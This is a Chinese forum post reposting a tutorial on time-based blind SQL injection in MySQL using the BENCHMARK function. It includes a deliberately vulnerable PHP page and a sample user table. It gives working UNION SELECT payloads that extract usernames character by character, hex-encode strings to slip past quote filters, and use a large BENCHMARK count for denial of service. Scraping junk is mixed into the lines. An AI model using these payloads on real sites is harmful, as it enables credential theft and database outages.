找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2218|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
, T) [( b( l5 O" z* ^: J5 w本文作者:SuperHei; K5 {' t# h+ E9 e& C+ n
文章性质:原创( @7 Z( x$ z  D* X3 O
发布日期:2005-01-023 J/ d* x7 m/ }/ p
完成日期:2004-07-09 & ?% J2 @- c6 s$ V9 [
第一部
$ a  i0 U) O: H' F* b& ~
, X/ ^# i. }: H利用时间推延进行注射---BENCHMARK函数在注射中的利用
; H# V2 C7 n( O+ ~$ c; N1 M: C
3 k" i/ J. C. C) ]6 Z- N; z& ^一.前言/思路2 L, r3 G7 d1 ~  U5 {9 z0 \
1 @9 e1 M! p$ Z- c6 Q
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
% j- q5 I9 ]2 V. R* q3 }  m1 R
' ?. @0 x+ _/ C. l9 h. c  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
, ^( V* }6 c4 r7 U6 x" S" H, Y2 D6 V$ ?/ }
二.关于BENCHMARK函数& q2 f+ p" r3 O2 f
8 k0 a5 @  P  p
  在MySQL参考手册里可以看到如下描叙: ' u) z' F- ?9 g2 j+ w" v
  K1 b* u, N/ N% C' e# V
" K9 x) r5 {' {
--------------------------------------------------------------------------------. l, c, t- v" @7 S/ Z0 N

* I, Q8 [3 [0 }5 \6 DBENCHMARK(count,expr)
4 `3 L6 k  Q9 OBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 - Z% r7 o; z, j4 K6 ?! U2 H
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); " P5 v6 K0 E6 X0 |- ?" B; [. }
+----------------------------------------------+ 2 T1 c' H/ s. T: L9 [
| BENCHMARK(1000000,encode("hello","goodbye")) |
) j3 M) t- _9 j+----------------------------------------------+ : c' b( U3 |; r0 _  T( ^
| 0 |
# U# B7 K7 S8 k4 b0 j2 r+----------------------------------------------+ 6 J5 `! d; ~* r! A- C
1 row in set (4.74 sec) 6 C: Z# a: {' O+ J$ E) D" E

' B# f$ f. p: w报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
. T- s/ {1 ~7 x7 D! i& G* K
. t; E! B" j/ W7 U  B: z& p
6 J0 l: k* S5 E& \1 g' x--------------------------------------------------------------------------------
# V1 L+ m1 N, V4 M9 d6 F
0 C  a* y% n: a8 i8 C# ~  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 2 H2 q! J) D& U; I5 g- o

) ^. K& z; y( \3 D, B: Mmysql> select md5( 'test' );
1 @  d" {+ l$ g3 f8 J8 }7 V+----------------------------------+ # B+ v8 t( Q0 z1 \$ e7 X( M+ ^7 S. i
| md5( 'test' ) |
; [5 \* H) |7 @6 e5 s. Q+----------------------------------+ ' c* I* m+ ]& A8 s7 a# g2 \/ a
| 098f6bcd4621d373cade4e832627b4f6 |
8 x2 W) M2 M: l" g6 b. I1 n+----------------------------------+ ( u2 Z: d. @' L$ y' j, Q; X& H
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 8 g5 `9 \% q" c  W4 O: |* z
7 n. a  {" ]) z+ |) O# k
mysql> select benchmark( 500000, md5( 'test' ) );
/ L1 T& G! |5 e" M, y+------------------------------------+
2 G# n- [" H' a( ]| benchmark( 500000, md5( 'test' ) ) |
( Z1 Z3 ~: v, m2 K- o  J+------------------------------------+
/ T. Z) S$ w: j) g) L0 z| 0 | 2 E' C: Z6 _0 K) L6 D6 \  _" l
+------------------------------------+
: L8 K' v( X. p! V: R* I1 row in set (6.55 sec) 〈------------执行时间为6.55 sec% c- L  R" j# g! f
$ I+ e  y" B/ h
% K* L: M( C9 _) T# q
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 & N2 }, c, ^% D8 R0 V, [2 u5 Q
3 N) W  C! }+ }. s! N* l
三.具体例子. v" [1 a! s$ w, g4 y

' Q( T' w0 z0 S" u9 @  首先我们看个简单的php代码:
& G2 }2 y; b* Y& V3 N8 G, |$ z+ k& E8 J4 b9 v- r1 U
< ?php
# ~9 G4 D2 h3 P- g5 q7 z/ e$servername = "localhost";
% Z: W- ^" |  p% q" t/ i* f- h$dbusername = "root";
3 C" n* L+ E, \7 I$dbpassword = ""; $ K8 `% t# ^; j" ^4 y7 X* E. ^
$dbname = "injection"; 2 o: p$ g; i' n6 s0 j
) ^' x0 q; S' `, k; Y/ r8 e" b
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");   m% t) e5 ~& |& \9 t( n, m

2 \0 X$ l" Q, F7 B$sql = "SELECT * FROM article WHERE articleid=$id";
5 D# e7 x% M; B, d1 i$result = mysql_db_query($dbname,$sql);
; K7 f( e- n6 `2 x( s: `* I$row = mysql_fetch_array($result); 6 F; t, ^) e4 R0 v1 d+ {
5 u- L' |; ?% Y
if (!$row) 7 L; |! l+ R' I
{
  G2 J8 G3 {! G3 bexit; & |/ Z1 n2 p( j. |, F, B
}
4 P% }9 ?! u2 j! U?>- x  o3 {5 E, V
( M) j0 R1 R9 |

6 H6 ^* j9 f2 A0 h5 X  数据库injection结构和内容如下:5 o! ~  i( Z5 v+ Q  J
" Z/ H) E- i/ W6 ~
# 数据库 : `injection` 2 }5 B& F3 }% V1 R7 }
#   e3 W3 s$ D: ]; g
( e3 d  a1 |$ I8 R# c/ K/ ?5 d. @5 T' }
# -------------------------------------------------------- - Z4 L' w7 o9 B, x& r2 c+ E  l

4 ?; k2 }; E+ Q. d: ~# \# 7 n. I! F, m: J/ N
# 表的结构 `article`
; Z) s9 c3 B' j6 _9 |#
& K. Z6 [7 G- A- v; p
( p( x3 s- r2 i$ @7 qCREATE TABLE `article` ( ! M& c- N. w4 B" G
`articleid` int(11) NOT NULL auto_increment,
; d. Y4 {* Y# X2 Y" B`title` varchar(100) NOT NULL default '', ) W. a5 {  i$ N6 p! E3 ?, H
`content` text NOT NULL, 6 H7 Q6 v; I! O6 A" b9 t0 d7 |8 V
PRIMARY KEY (`articleid`) . R, ]& S% b" |5 h7 k" g# G
) TYPE=MyISAM AUTO_INCREMENT=3 ;
8 d+ T" n: ]( |4 i0 y4 Q  W' Z
% t5 j; F% t7 _; k" _, f#
9 y* q  ~+ w6 m, I- g- _# 导出表中的数据 `article` - O: U5 t; H6 ]' y) ?
#
" b4 M) l6 k& s* L/ T8 Z9 R8 ^$ S) v9 n  c; J* o# u- ^
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
: v% Y/ \  B- _0 u6 D/ @INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 0 e  M( b$ \* A6 j9 P

3 K2 l7 ^1 D9 q- |& Z' v7 Z# --------------------------------------------------------
2 u2 a8 B) ~% a3 Y2 m/ V
# N3 C1 z+ N: K. h" e0 y#
; o( \9 M8 C( A& K6 X! ]# 表的结构 `user` * G, e  D3 H# d: p& R1 ?( k% }; A
# 6 }+ S( s# B1 \/ Z

8 e2 c, v0 p. J. rCREATE TABLE `user` (
. l; D# \: O2 z3 I' n`userid` int(11) NOT NULL auto_increment, $ v; R8 S4 v  r  z
`username` varchar(20) NOT NULL default '', 0 y) V, [  ]  i$ H, g
`password` varchar(20) NOT NULL default '', 1 b3 T9 U+ C% X, V$ |, ~
PRIMARY KEY (`userid`)
2 X7 ]5 y! D0 D- l: U5 j; |) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 e2 M. b$ y0 [& f9 o$ E
/ }' v; T! P: K
# ' t) E6 |7 L% V; t- ~/ K
# 导出表中的数据 `user`
/ a! e( z" c" k7 M8 q3 x( X#
! h4 v  n% W3 b8 q9 C
' a7 s) M2 p- ?: M6 G7 TINSERT INTO `user` VALUES (1, 'angel', 'mypass');
- e: E1 C, @; P( EINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
# e0 _6 t! e/ ]( z# ]9 z % G- e! _1 O- c
9 Y! M5 o" v2 A/ I0 I
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:- H! t2 F" [5 h0 g& H  C' k/ l
/ p' b2 _8 Q& F/ ^8 c3 R/ `
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
4 i3 Q8 e' ]" ?+ N ; T. I  `) m7 @' `# M
! j8 {% U7 X3 E  }3 X. O% I
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:/ \+ @4 M+ U, J; T
6 r( R+ E9 b7 U# Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
3 V6 ^5 I) K" P
. m" G/ }+ R+ ?  e  R6 T- c4 P" M9 ]7 s+ V3 k. E
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 3 Y/ y( N; S" f: Y/ J( p
# Z& ]4 i7 M+ F0 K2 e! @
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 & {3 ?- v' V& Y( G' U9 S
. \- r: H4 r- e3 y# c9 i
第二部
3 k5 g# a! A" B- p* G0 k( ~7 L8 `! O
利用BENCHMARK函数进行ddos攻击 * f7 M+ j4 d3 n- |# s  M3 `+ [  A
! L( w+ L8 x. Q; l' Z9 o
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:8 Z. |3 _9 Z; _. }8 N) T  O
3 K, E4 V# a4 F- U6 A% Z3 M+ B
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))$ B( E' k% p3 ~) t
7 T9 d3 b" O& N
, O9 H9 _. j8 j/ S  d$ k. {$ m
小结
; g& a8 E# i5 H- I* M: w8 Q
  K3 F" C( y: E. a0 Z- ]  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。4 W; J; W0 N6 ], V/ {) a

: ]4 s( i* z4 A- i8 y, y, t. t( R  
% O2 o' D: ~/ q& {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表